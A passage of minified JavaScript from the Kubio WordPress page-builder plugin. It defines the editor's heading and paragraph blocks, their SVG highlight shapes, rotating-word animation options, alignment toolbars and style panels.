l&&Object(un.refreshBlockStyleRefs)(p),p}))},jg=e=>{let{clientId:t,attributes:o,name:n}=e;return(e,a,l)=>{const{replaceBlocks:r,__unstableMarkLastChangeAsPersistent:i}=Object(Ve.dispatch)("core/block-editor");e.length&&!Object(Ge.isUnmodifiedDefaultBlock)(e[e.length-1])&&i();const c=yg(e,t,{originalAttributes:o,originalName:n});Ne.a.forEach(c,((e,t)=>{c[t]=Object(un.refreshBlockStyleRefs)(e)})),r([t],c,a,l)}},kg=e=>{let{attributes:t,name:o,clientId:n}=e;return(e,a)=>{let l;(a||e)&&(l={...t,content:e});const r=Object(Ge.createBlock)(o,l);return a&&(r.clientId=n),r}};var Eg=o(389),fg=o.n(Eg);const vg={circle:Object(xe.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 500 150",preserveAspectRatio:"none"},Object(xe.createElement)("path",{d:"M325,18C228.7-8.3,118.5,8.3,78,21C22.4,38.4,4.6,54.6,5.6,77.6c1.4,32.4,52.2,54,142.6,63.7 c66.2,7.1,212.2,7.5,273.5-8.3c64.4-16.6,104.3-57.6,33.8-98.2C386.7-4.9,179.4-1.4,126.3,20.7"})),curly:Object(xe.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 500 150",preserveAspectRatio:"none"},Object(xe.createElement)("path",{d:"M3,146.1c17.1-8.8,33.5-17.8,51.4-17.8c15.6,0,17.1,18.1,30.2,18.1c22.9,0,36-18.6,53.9-18.6 c17.1,0,21.3,18.5,37.5,18.5c21.3,0,31.8-18.6,49-18.6c22.1,0,18.8,18.8,36.8,18.8c18.8,0,37.5-18.6,49-18.6c20.4,0,17.1,19,36.8,19 c22.9,0,36.8-20.6,54.7-18.6c17.7,1.4,7.1,19.5,33.5,18.8c17.1,0,47.2-6.5,61.1-15.6"})),underline:Object(xe.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 500 150",preserveAspectRatio:"none"},Object(xe.createElement)("path",{d:"M7.7,145.6C109,125,299.9,116.2,401,121.3c42.1,2.2,87.6,11.8,87.3,25.7"})),double:Object(xe.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 500 150",preserveAspectRatio:"none"},Object(xe.createElement)("path",{d:"M8.4,143.1c14.2-8,97.6-8.8,200.6-9.2c122.3-0.4,287.5,7.2,287.5,7.2"}),Object(xe.createElement)("path",{d:"M8,19.4c72.3-5.3,162-7.8,216-7.8c54,0,136.2,0,267,7.8"})),"double-underline":Object(xe.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 500 150",preserveAspectRatio:"none"},Object(xe.createElement)("path",{d:"M5,125.4c30.5-3.8,137.9-7.6,177.3-7.6c117.2,0,252.2,4.7,312.7,7.6"}),Object(xe.createElement)("path",{d:"M26.9,143.8c55.1-6.1,126-6.3,162.2-6.1c46.5,0.2,203.9,3.2,268.9,6.4"})),"underline-zigzag":Object(xe.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 500 150",preserveAspectRatio:"none"},Object(xe.createElement)("path",{d:"M9.3,127.3c49.3-3,150.7-7.6,199.7-7.4c121.9,0.4,189.9,0.4,282.3,7.2C380.1,129.6,181.2,130.6,70,139 c82.6-2.9,254.2-1,335.9,1.3c-56,1.4-137.2-0.3-197.1,9"})),diagonal:Object(xe.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 500 150",preserveAspectRatio:"none"},Object(xe.createElement)("path",{d:"M13.5,15.5c131,13.7,289.3,55.5,475,125.5"})),strikethrough:Object(xe.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 500 150",preserveAspectRatio:"none"},Object(xe.createElement)("path",{d:"M3,75h493.5"})),x:Object(xe.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 500 150",preserveAspectRatio:"none"},Object(xe.createElement)("path",{d:"M497.4,23.9C301.6,40,155.9,80.6,4,144.4"}),Object(xe.createElement)("path",{d:"M14.1,27.6c204.5,20.3,393.8,74,467.3,111.7"}))},_g=e=>{let{fancy:t={}}=e;const{fancyWord:o,bringToFront:n,typeShape:a}=t,l=["text-animation-fancy"];n&&l.push("bring-to-front");const r=Ne.a.get(vg,a);return Object(xe.createElement)("span",{className:"fancy-title-headline"},Object(xe.createElement)("span",{className:"text-wrapper-fancy"},Object(xe.createElement)("span",{className:$e()(l)},o),r))},Cg=e=>{let{fancy:t}=e;const{animationDuration:o,typeAnimation:n}=t,a=Tg(t);return Object(xe.createElement)("span",Object(He.useJSComponentProps)("fancy-title",{animationDuration:null==o?void 0:o.value,typeAnimation:n}),Object(xe.createElement)("span",{className:`ah-headline ${n}`},Object(xe.createElement)("span",{style:"position: relative",className:"ah-words-wrapper"},a)))},Ig=e=>{var t;let{fancy:o}=e;return Object(xe.createElement)("span",{"data-kubio-component":"fancy-title","data-animation-duration":(null==o||null===(t=o.animationDuration)||void 0===t?void 0:t.value)+"","data-type-animation-duration-in":(null==o?void 0:o.type.animationDuration.in.value)+"","data-type-animation-duration-out":(null==o?void 0:o.type.animationDuration.out.value)+"","data-type-animation":null==o?void 0:o.typeAnimation,"data-word":null==o?void 0:o.fancyWord,"data-rotating-words":null==o?void 0:o.fancyRotatingWords,"data-animation-type":"true"},null==o?void 0:o.fancyWord)},Tg=e=>{let{fancyWord:t,fancyRotatingWords:o}=e;const n=o.split("\n")||[];return n.push(t),n.map(((e,t)=>Object(xe.createElement)("b",{key:t,className:$e()({"is-visible":0===t})},e)))},Sg="text",wg="svgShape",Pg={[Sg]:{label:Object(We.__)("Text","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.SPACING,cn.StylesEnum.BORDER,cn.StylesEnum.TYPOGRAPHY_FOR_HEADING,cn.StylesEnum.TEXT_SHADOW],states:cn.StatesPresetsEnum.BASIC}},[wg]:{internal:!0}};var Ag=o(260),Bg=o(425),Ng=o(426),xg=o(427),Rg=Object(xe.createElement)(aa.SVG,{xmlns:"https://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(xe.createElement)(aa.Path,{d:"M4 12.8h16v-1.5H4v1.5zm0 7h12.4v-1.5H4v1.5zM4 4.3v1.5h16V4.3H4z"}));function Dg(e){let{level:t,isPressed:o=!1}=e;const n={1:"M9 5h2v10H9v-4H5v4H3V5h2v4h4V5zm6.6 0c-.6.9-1.5 1.7-2.6 2v1h2v7h2V5h-1.4z",2:"M7 5h2v10H7v-4H3v4H1V5h2v4h4V5zm8 8c.5-.4.6-.6 1.1-1.1.4-.4.8-.8 1.2-1.3.3-.4.6-.8.9-1.3.2-.4.3-.8.3-1.3 0-.4-.1-.9-.3-1.3-.2-.4-.4-.7-.8-1-.3-.3-.7-.5-1.2-.6-.5-.2-1-.2-1.5-.2-.4 0-.7 0-1.1.1-.3.1-.7.2-1 .3-.3.1-.6.3-.9.5-.3.2-.6.4-.8.7l1.2 1.2c.3-.3.6-.5 1-.7.4-.2.7-.3 1.2-.3s.9.1 1.3.4c.3.3.5.7.5 1.1 0 .4-.1.8-.4 1.1-.3.5-.6.9-1 1.2-.4.4-1 .9-1.6 1.4-.6.5-1.4 1.1-2.2 1.6V15h8v-2H15z",3:"M12.1 12.2c.4.3.8.5 1.2.7.4.2.9.3 1.4.3.5 0 1-.1 1.4-.3.3-.1.5-.5.5-.8 0-.2 0-.4-.1-.6-.1-.2-.3-.3-.5-.4-.3-.1-.7-.2-1-.3-.5-.1-1-.1-1.5-.1V9.1c.7.1 1.5-.1 2.2-.4.4-.2.6-.5.6-.9 0-.3-.1-.6-.4-.8-.3-.2-.7-.3-1.1-.3-.4 0-.8.1-1.1.3-.4.2-.7.4-1.1.6l-1.2-1.4c.5-.4 1.1-.7 1.6-.9.5-.2 1.2-.3 1.8-.3.5 0 1 .1 1.6.2.4.1.8.3 1.2.5.3.2.6.5.8.8.2.3.3.7.3 1.1 0 .5-.2.9-.5 1.3-.4.4-.9.7-1.5.9v.1c.6.1 1.2.4 1.6.8.4.4.7.9.7 1.5 0 .4-.1.8-.3 1.2-.2.4-.5.7-.9.9-.4.3-.9.4-1.3.5-.5.1-1 .2-1.6.2-.8 0-1.6-.1-2.3-.4-.6-.2-1.1-.6-1.6-1l1.1-1.4zM7 9H3V5H1v10h2v-4h4v4h2V5H7v4z",4:"M9 15H7v-4H3v4H1V5h2v4h4V5h2v10zm10-2h-1v2h-2v-2h-5v-2l4-6h3v6h1v2zm-3-2V7l-2.8 4H16z",5:"M12.1 12.2c.4.3.7.5 1.1.7.4.2.9.3 1.3.3.5 0 1-.1 1.4-.4.4-.3.6-.7.6-1.1 0-.4-.2-.9-.6-1.1-.4-.3-.9-.4-1.4-.4H14c-.1 0-.3 0-.4.1l-.4.1-.5.2-1-.6.3-5h6.4v1.9h-4.3L14 8.8c.2-.1.5-.1.7-.2.2 0 .5-.1.7-.1.5 0 .9.1 1.4.2.4.1.8.3 1.1.6.3.2.6.6.8.9.2.4.3.9.3 1.4 0 .5-.1 1-.3 1.4-.2.4-.5.8-.9 1.1-.4.3-.8.5-1.3.7-.5.2-1 .3-1.5.3-.8 0-1.6-.1-2.3-.4-.6-.2-1.1-.6-1.6-1-.1-.1 1-1.5 1-1.5zM9 15H7v-4H3v4H1V5h2v4h4V5h2v10z",6:"M9 15H7v-4H3v4H1V5h2v4h4V5h2v10zm8.6-7.5c-.2-.2-.5-.4-.8-.5-.6-.2-1.3-.2-1.9 0-.3.1-.6.3-.8.5l-.6.9c-.2.5-.2.9-.2 1.4.4-.3.8-.6 1.2-.8.4-.2.8-.3 1.3-.3.4 0 .8 0 1.2.2.4.1.7.3 1 .6.3.3.5.6.7.9.2.4.3.8.3 1.3s-.1.9-.3 1.4c-.2.4-.5.7-.8 1-.4.3-.8.5-1.2.6-1 .3-2 .3-3 0-.5-.2-1-.5-1.4-.9-.4-.4-.8-.9-1-1.5-.2-.6-.3-1.3-.3-2.1s.1-1.6.4-2.3c.2-.6.6-1.2 1-1.6.4-.4.9-.7 1.4-.9.6-.3 1.1-.4 1.7-.4.7 0 1.4.1 2 .3.5.2 1 .5 1.4.8 0 .1-1.3 1.4-1.3 1.4zm-2.4 5.8c.2 0 .4 0 .6-.1.2 0 .4-.1.5-.2.1-.1.3-.3.4-.5.1-.2.1-.5.1-.7 0-.4-.1-.8-.4-1.1-.3-.2-.7-.3-1.1-.3-.3 0-.7.1-1 .2-.4.2-.7.4-1 .7 0 .3.1.7.3 1 .1.2.3.4.4.6.2.1.3.3.5.3.2.1.5.2.7.1z"};return n.hasOwnProperty(t)?Object(xe.createElement)(Le.SVG,{width:"24",height:"24",viewBox:"0 0 20 20",xmlns:"http://www.w3.org/2000/svg",isPressed:o},Object(xe.createElement)(Le.Path,{d:n[t]})):null}const Lg=[1,2,3,4,5,6],Mg={className:"block-library-heading-level-dropdown"};function Wg(e){let{selectedLevel:t,onChange:o}=e;return Object(xe.createElement)(Le.ToolbarDropdownMenu,{popoverProps:Mg,icon:Object(xe.createElement)(Dg,{level:t}),label:Object(We.__)("Change heading level","kubio"),controls:Lg.map((e=>{{const n=e===t;return{icon:Object(xe.createElement)(Dg,{level:e,isPressed:n}),label:Object(We.sprintf)(// translators: %s: heading level e.g: "1", "2", "3"
Object(We.__)("Heading %d","kubio"),e),isActive:n,onClick(){o(e)}}}}))})}const Hg=[{icon:Bg.a,title:Object(We.__)("Align text left","kubio"),align:"left"},{icon:Ng.a,title:Object(We.__)("Align text center","kubio"),align:"center"},{icon:xg.a,title:Object(We.__)("Align text right","kubio"),align:"right"},{icon:Rg,title:Object(We.__)("Justify text","kubio"),align:"justify"}],Gg=e=>{let{computed:t}=e;const{headerType:o,textAlign:n}=t;return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(De.BlockControls,null,Object(xe.createElement)(Le.ToolbarGroup,null,Object(xe.createElement)(Wg,{selectedLevel:o.value,onChange:o.onChange}),Object(xe.createElement)(De.AlignmentToolbar,{value:n.value,onChange:n.onChange,alignmentControls:Hg})),Object(xe.createElement)(Ag.CustomFormatsToolbar,{addWrapper:!1})))},Ug=e=>{let{WrapperComponent:t,...o}=e;const{isSelected:n}=o,[a,l]=Object(xe.useState)(n),[r,i]=Object(xe.useState)(!1),{clientId:c}=o,s=e=>{const t=e.target,o=t.closest(".block-editor-block-contextual-toolbar"),n=t.closest(".components-popover"),r=document.body.contains(t);o||n||!r||a&&l(!1)},u=n||r;Object(xe.useEffect)((()=>{u!==a&&l(u)}),[u]),Object(xe.useEffect)((()=>{!n&&r&&i(!1)}),[n]),Object(xe.useEffect)((()=>(document.removeEventListener("click",s),n&&document.addEventListener("click",s),()=>{document.removeEventListener("click",s)})),[n,a]);const p=Object(xe.useCallback)((()=>{i(!1)}),[]),b=Object(Me.useDebounce)(p),m=Object(xe.useCallback)((()=>{b.cancel(),r||(i(!0),a||l(!0))}),[]),d=Object(Ve.useSelect)((e=>{const{hasMultiSelection:t,getMultiSelectedBlocks:o}=e("core/block-editor"),n=!!Object(Be.find)(o(),{clientId:c});return t()&&n}),[]),h=u&&a||d;return Object(xe.createElement)(t,Object(ut.a)({showRichText:h,fancyOnMouseEnter:m,fancyOnMouseLeave:b},o))},Fg=Object(Me.createHigherOrderComponent)((e=>t=>Object(xe.useMemo)((()=>{const e=t.dataHelper.getProp("fancy.typeStyle");return e&&"none"!==e}),[t.dataHelper])?Object(xe.createElement)(Ug,Object(ut.a)({},t,{WrapperComponent:e})):Object(xe.createElement)(e,t)),"withFancyTitle"),zg=[...He.allowedRichTextFormats,"core/link","core/code","core/image","kubio/font-family-weight"],Vg=Object(Me.compose)(He.withIsSelected,Object(He.withColibriDataAutoSave)(((e,t)=>{var o;const{isSelected:n}=t,a=Object(tl.useInheritedTextAlign)(e),l=e.useAttributePath("content"),r=Object(xe.useCallback)(l.onChange,[null==e||null===(o=e.sharedData)||void 0===o?void 0:o.hash]),i={value:l.value,onChange:r},c=e.getProp("fancy"),s=e.usePropPath("fancy.fancyRotatingWords"),u={content:i.value,fancy:c};let p=Object(xe.useMemo)((()=>(e=>{let{content:t="",fancy:o={}}=e;const{typeStyle:n,typeAnimation:a,fancyWord:l}=o;if(!n||"none"===n||!l)return t;let r="";r="highlighted"===n?_g:"type"!==a?Cg:Ig;let i=t;const c=Object(xe.renderToString)(Object(xe.createElement)(r,{fancy:o})),s=fg()(l);return i=i.replace(new RegExp(s,"i"),c),i})(u)),[n,u]);p||(p=Object(We.__)("Write heading…","kubio"));const b=xp(e),m=e.getProp("level",!1,{media:"desktop"});return{isSelected:n,content:i,htmlContent:p,tagName:b,fancy:c,headerType:e.usePropPath("level",{media:"desktop"}),link:e.getAttribute("link"),textAlign:e.useStylePath("textAlign",{},a),shouldUpdateHeaderAttribute:m!==parseInt(m),level:Np(e),shouldUpdateFancyRotatingWords:"beautifulnamazingnimpressive"===s.value,fancyRotatingWords:s}})),Object(He.withStyledElements)((function(){let{computed:e}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return{[Sg]:{tag:null==e?void 0:e.tagName}}})),He.withDispatchWpBLock,Fg),Yg=Vg((e=>{const{name:t,computed:o,StyledElements:n,mergeBlocks:a,isDynamicContent:l=!1,children:r,showRichText:i=!0,fancyOnMouseEnter:c=Ne.a.noop,fancyOnMouseLeave:s=Ne.a.noop,attributes:u,clientId:p}=e,{tagName:b,textAlign:m,content:d,link:h,htmlContent:O,headerType:g,shouldUpdateHeaderAttribute:y,level:j}=o,k=Object(De.useBlockProps)({...Object(He.useBlockElementProps)(Sg,{"data-kubio":t}),onMouseEnter:c,onMouseLeave:s}),E=Object(He.useUndoTrapDispatch)();Object(xe.useEffect)((()=>{y&&E((()=>new Promise((e=>{g.onChange(j),setTimeout(e,10)}))),{silent:!0})}),[]);const f=Object(xe.useMemo)((()=>kg({attributes:u,name:t,clientId:p})),[u,t,p]),v=Object(xe.useMemo)((()=>jg({attributes:u,name:t,clientId:p})),[u,t,p]),_=Object(xe.useCallback)((()=>v([])()),[v]);return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Gg,{computed:o}),Object(xe.createElement)(Re.LinkWrapper,{className:"d-block h-link",link:h},!i&&Object(xe.createElement)(n.Text,Object(ut.a)({},k,{dangerouslySetInnerHTML:{__html:O}})),l&&r,i&&!l&&Object(xe.createElement)(De.RichText,Object(ut.a)({identifier:"content",tagName:b},k,{style:null,value:d.value,onChange:d.onChange,onMerge:a,onSplit:f,onRemove:_,placeholder:Object(We.__)("Write heading…","kubio"),textAlign:m.value,allowedFormats:zg}))))})),$g=()=>{const e=Object(tl.useInheritedTextAlign)();return Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Heading Properties","kubio")},Object(xe.createElement)(Re.ToggleGroupWithPath,{path:"level",options:Rp.headingType.options,type:He.WithDataPathTypes.PROP,label:Object(We.__)("Heading type","kubio")}),Object(xe.createElement)(Re.HorizontalTextAlignControlWithPath,{label:Object(We.__)("Heading align","kubio"),path:"textAlign",defaultValue:e,useContentAlignIcons:!1,type:He.WithDataPathTypes.STYLE,style:Sg}),Object(xe.createElement)(Re.LinkControlWithData,null))},Kg=()=>Object(xe.createElement)(ze.ContentInspectorControls,null,Object(xe.createElement)($g,null));var qg=Object(He.withComputedData)((e=>({holderName:xp(e)})))((e=>{let{computed:t}=e;return Object(xe.createElement)(Le.PanelBody,{title:Object(We.__)("Text","kubio")},Object(xe.createElement)(Re.ColorWithPath,{label:Object(We.__)("Text color","kubio"),path:"typography.color",type:He.WithDataPathTypes.STYLE,defaultValue:Object(tl.useInheritedTypographyValue)(t.holderName,"color")}),Object(xe.createElement)(Re.TypographyControlPopupWithPath,{path:"typography",inherit:"typography",type:He.WithDataPathTypes.STYLE,nodeType:t.holderName}),Object(xe.createElement)(Re.TextShadowControlPopupWithPath,{path:"textShadow",type:He.WithDataPathTypes.STYLE}))})),Xg=Object(He.withComputedData)((e=>({useRoundEdges:{value:e.getProp("fancy.useSmallHeader"),onChange:t=>{const o={styledComponent:wg};t?(e.setStyle("stroke.linejoin","round",o),e.setStyle("stroke.linecap","round",o)):(e.setStyle("stroke.linejoin","initial",o),e.setStyle("stroke.linecap","initial",o)),e.setProp("fancy.useSmallHeader",t)}}})))((e=>{let{computed:t}=e;const{useRoundEdges:o}=t;return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.SelectControlWithPath,{label:Object(We.__)("Type shape","kubio"),type:He.WithDataPathTypes.PROP,path:"fancy.typeShape",options:Rp.typeHighlightedOptions}),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.InputControlWithPath,{label:Object(We.__)("Highlighted Word","kubio"),type:He.WithDataPathTypes.PROP,path:"fancy.fancyWord"}),Object(xe.createElement)(Re.ColorWithPath,{label:Object(We.__)("Color","kubio"),path:"stroke.color",style:wg,type:He.WithDataPathTypes.STYLE}),Object(xe.createElement)(Re.RangeWithUnitWithPath,Object(ut.a)({label:Object(We.__)("Width","kubio"),path:"stroke.width",style:wg,type:He.WithDataPathTypes.STYLE},Rp.offsetStrokeWidthOptions)),Object(xe.createElement)(Re.ToggleControlWithPath,{label:Object(We.__)("Bring to front","kubio"),type:He.WithDataPathTypes.PROP,path:"fancy.bringToFront"}),Object(xe.createElement)(Re.ToggleControl,Object(ut.a)({label:Object(We.__)("Rounded edges","kubio"),type:He.WithDataPathTypes.PROP},o)))})),Qg=Object(He.withComputedData)((e=>({typeAnimationIsType:e.getProp("fancy.typeAnimation")===Rp.typeAnimationValues.TYPE})))((e=>{let{computed:t}=e;const{typeAnimationIsType:o}=t;return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.SelectControlWithPath,{label:Object(We.__)("Type animation","kubio"),type:He.WithDataPathTypes.PROP,path:"fancy.typeAnimation",options:Rp.typeAnimationOptions}),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.InputControlWithPath,{label:Object(We.__)("Word","kubio"),type:He.WithDataPathTypes.PROP,path:"fancy.fancyWord"}),Object(xe.createElement)(Re.TextareaControlWithPath,{label:Object(We.__)("Rotating words","kubio"),type:He.WithDataPathTypes.PROP,path:"fancy.fancyRotatingWords"}),!o&&Object(xe.createElement)(Re.RangeWithUnitWithPath,Object(ut.a)({label:Object(We.__)("Animation duration","kubio"),path:"fancy.animationDuration",type:He.WithDataPathTypes.PROP},Rp.animationDurationOptions)),o&&Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.RangeWithUnitWithPath,Object(ut.a)({label:Object(We.__)("Type speed","kubio"),path:"fancy.type.animationDuration.in",type:He.WithDataPathTypes.PROP},Rp.typeAnimationDurationOptions)),Object(xe.createElement)(Re.RangeWithUnitWithPath,Object(ut.a)({label:Object(We.__)("Back speed","kubio"),path:"fancy.type.animationDuration.out",type:He.WithDataPathTypes.PROP},Rp.typeAnimationDurationOptions))))})),Zg=Object(He.withComputedData)((e=>{const t={value:e.getProp("fancy.typeStyle"),onChange:t=>{const o=e.getProp("fancy.typeStyle");"none"!==t&&"none"===o&&(()=>{const t=e.getAttribute("content"),o=Object(un.stripTags)(t).trim().split(/(\s+)/).filter((function(e){return e.trim().length>0})),n=e.getProp("fancy.fancyWord");if(o.includes(n))return;const a=o[o.length-1];e.setProp("fancy.fancyWord",a)})(),e.setProp("fancy.typeStyle",t)}};return{typeStyleIs:{rotating:t.value===Rp.typeStyleValues.ROTATE,highlighted:t.value===Rp.typeStyleValues.HIGHLIGHT},typeStyle:t}}))((e=>{let{computed:t}=e;const{typeStyleIs:o,typeStyle:n}=t;return Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Effects","kubio"),initialOpen:!1},Object(xe.createElement)(Re.GutentagSelectControl,Object(ut.a)({label:Object(We.__)("Effect Type","kubio"),options:Rp.typeStyleOption},n)),o.highlighted&&Object(xe.createElement)(Xg,null),o.rotating&&Object(xe.createElement)(Qg,null))}));const Jg=()=>Object(xe.createElement)(ze.StyleInspectorControls,null,Object(xe.createElement)(qg,null),Object(xe.createElement)(Zg,null));var ey,ty,oy=Object(He.withPropsChecker)((function(e){return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Kg,null),Object(xe.createElement)(Jg,null),Object(xe.createElement)(Yg,e))}));const ny={name:"kubio/heading",category:"kubio-basic",attributes:{kubio:{type:"object"},link:{type:"object",default:{typeOpenLink:"sameWindow"}},content:{type:"string",source:"html",default:"My heading is awesome"}},supports:{anchor:!0,kubio:{appearanceEffect:!0,default:{style:{descendants:{svgShape:{stroke:{width:{value:8,unit:"px"},color:"#000000"}}}},props:{fancy:{fancyWord:"awesome",fancyRotatingWords:"beautiful\namazing\nimpressive",typeStyle:"none",typeShape:"curly",typeAnimation:"rotate-1",bringToFront:!1,useRoundedEdges:!1,animationDuration:{value:1,unit:"s"},type:{animationDuration:{in:{value:.1,unit:"s"},out:{value:.1,unit:"s"}}}}}},elementsEnum:{TEXT:"text",SVG:"svgShape"},elementsByName:{text:{selector:".wp-block.wp-block-kubio-heading__text",selectorPrepend:!0,default:!0,wrapper:!0,useBlockProps:!1},svgShape:{selector:".text-wrapper-fancy svg path"}},template:{type:"LinkWrapper",props:{heading:!0},children:[{type:"element",props:{name:"text"}}]}}}},ay={content:ny.attributes.content.default,kubio:{props:{level:(null==ny||null===(ey=ny.kubio)||void 0===ey||null===(ty=ey.props)||void 0===ty?void 0:ty.level)||2}}},ly="kubio/heading",ry={name:"kubio/heading",category:"kubio-basic",attributes:{kubio:{type:"object"},link:{type:"object",default:{typeOpenLink:"sameWindow"}},content:{type:"string",source:"html",default:"My heading is awesome"}},supports:{anchor:!0,kubio:{appearanceEffect:!0,default:{style:{descendants:{svgShape:{stroke:{width:{value:8,unit:"px"},color:"#000000"}}}},props:{fancy:{fancyWord:"awesome",fancyRotatingWords:"beautiful\namazing\nimpressive",typeStyle:"none",typeShape:"curly",typeAnimation:"rotate-1",bringToFront:!1,useRoundedEdges:!1,animationDuration:{value:1,unit:"s"},type:{animationDuration:{in:{value:.1,unit:"s"},out:{value:.1,unit:"s"}}}}}},elementsEnum:{TEXT:"text",SVG:"svgShape"},elementsByName:{text:{selector:".wp-block.wp-block-kubio-heading__text",selectorPrepend:!0,default:!0,wrapper:!0,useBlockProps:!1},svgShape:{selector:".text-wrapper-fancy svg path"}},template:{type:"LinkWrapper",props:{heading:!0},children:[{type:"element",props:{name:"text"}}]}}}},iy=Object(nn.extendBlockMeta)(ry,{title:Object(We.__)("Heading","kubio"),keywords:[Object(We.__)("title","kubio"),Object(We.__)("subtitle","kubio"),Object(We.__)("headline","kubio")],icon:on.BlockIcons.Heading,apiVersion:2,supports:{kubio:{elementsByName:Pg,isGutentagQuickInsertDefault:!0},reusable:!1,html:!1},edit:oy,example:ay,merge:(e,t)=>({content:(e.content||"")+(t.content||"")}),variations:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[];return Object(Be.uniq)([2,...e]).map((e=>{const t=2===e?ly:`heading-${e}`,o=2===e?Object(We.__)("Heading","kubio"):// translators: html heading types
Object(We.sprintf)(Object(We.__)("Heading %d","kubio"),e),n=2===e,a=2===e?Object(We.__)("Create headings that stand out. Customize their typography, color, shadow, borders, and background.","kubio"):// translators: html heading types
Object(We.sprintf)(Object(We.__)("Heading %d element","kubio"),e),{attributes:l,innerBlocks:r}=Object(He.composeBlockWithStyle)(ly,{props:{level:e,fancy:{fancyRotatingWords:[Object(We.__)("awesome","kubio"),Object(We.__)("amazing","kubio"),Object(We.__)("impressive","kubio")].join("\n")}}},[],!1);return{name:t,isDefault:n,title:o,description:a,attributes:l,innerBlocks:r}}))}(),save:e=>{let{attributes:t}=e;return Object(xe.createElement)(De.RichText.Content,{value:t.content})}}),cy="text",sy="first-letter",uy={[cy]:{label:Object(We.__)("Text","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.SPACING,cn.StylesEnum.BORDER,cn.StylesEnum.TYPOGRAPHY,cn.StylesEnum.TEXT_SHADOW],states:cn.StatesPresetsEnum.BASIC}},[sy]:{label:Object(We.__)("First Letter","kubio"),internal:!0}},py=[{icon:Bg.a,title:Object(We.__)("Align text left","kubio"),align:"left"},{icon:Ng.a,title:Object(We.__)("Align text center","kubio"),align:"center"},{icon:xg.a,title:Object(We.__)("Align text right","kubio"),align:"right"},{icon:Rg,title:Object(We.__)("Justify text","kubio"),align:"justify"}],by=e=>{let{computed:t}=e;const{textAlign:o}=t;return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(De.BlockControls,null,Object(xe.createElement)(Le.ToolbarGroup,null,Object(xe.createElement)(Ag.CustomFormatsToolbar,null),Object(xe.createElement)(De.AlignmentToolbar,{value:o.value,onChange:o.onChange,alignmentControls:py}))))},my=[...He.allowedRichTextFormats,"core/link","core/code","core/image","kubio/font-family-weight"],dy=Object(Me.pure)((e=>{const{name:t,computed:o,mergeBlocks:n,isDynamic:a,children:l,clientId:r,attributes:i,isSelected:c,blockProps:s}=e,{textAlign:u,content:p}=o,b=Object(xe.useMemo)((()=>kg({attributes:i,name:t,clientId:r})),[i,t,r]),m=Object(xe.useMemo)((()=>jg({attributes:i,name:t,clientId:r})),[i,t,r]),d=Object(xe.useCallback)((()=>m([])),[m]);return Object(xe.createElement)(xe.Fragment,null,!a&&Object(xe.createElement)(xe.Fragment,null,c&&Object(xe.createElement)(by,{computed:o}),Object(xe.createElement)(De.RichText,Object(ut.a)({identifier:"content"},s,{tagName:"p",value:p.value,onChange:p.onChange,onMerge:n,onSplit:b,onReplace:m,onRemove:d,textAlign:u.value,"aria-label":p?Object(We.__)("Paragraph block","kubio"):Object(We.__)("Empty paragraph block","kubio"),placeholder:Object(We.__)("Start writing ","kubio"),__unstableEmbedURLOnPaste:!0,__unstableAllowPrefixTransformations:!0,allowedFormats:my,"data-empty":Object(Be.isEmpty)(p.value)}))),a&&Object(xe.createElement)("p",s,l))})),hy=Object(Me.compose)(Object(He.withColibriDataAutoSave)((e=>{var t;const o=Object(tl.useInheritedTextAlign)(e),n=e.useAttributePath("content"),a=Object(xe.useCallback)(n.onChange,[null==e||null===(t=e.sharedData)||void 0===t?void 0:t.hash]),l={value:n.value,onChange:a};return{isLead:e.getProp("isLead"),dropCap:e.getProp("dropCap"),content:l,textAlign:e.useStylePath("textAlign",{},o)}})),Object(He.withStyledElements)((e=>{let{computed:t}=e;const{isLead:o,dropCap:n}=t;return{[cy]:{className:()=>{const e=[];return o&&e.push("h-lead"),n&&e.push("has-drop-cap"),e}}}})),He.withDispatchWpBLock)((e=>{const{children:t,name:o}=e;let n=Object(De.useBlockProps)(Object(He.useBlockElementProps)(cy,{"data-kubio":o}));return n=Object(xe.useMemo)((()=>({...n,className:$e()(n.className,["kubio-block-wrapper"])})),[n]),Object(xe.createElement)(dy,Object(ut.a)({},e,{blockProps:n}),t)})),Oy=Object(He.withComputedData)((e=>({handleLeadToggle:t=>{!0===t&&e.setStyle("typography",{}),e.setProp("isLead",t)},handleDropCapToggle:t=>{e.setProp("dropCap",t)},isLead:e.getProp("isLead",!1),dropCap:e.getProp("dropCap")})))((e=>{let{showLead:t,showDropCap:o=!1,atEndOfTextProperties:n,title:a,computed:l}=e;const r=Object(tl.useInheritedTextAlign)(),{handleLeadToggle:i,handleDropCapToggle:c,isLead:s,dropCap:u}=l,p=Object(Ve.useSelect)((e=>{const{hasMultiSelection:t}=e("core/block-editor");return t}),[])();return Object(xe.createElement)(Le.PanelBody,{title:a},!p&&Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.HorizontalTextAlignControlWithPath,{label:Object(We.__)("Text 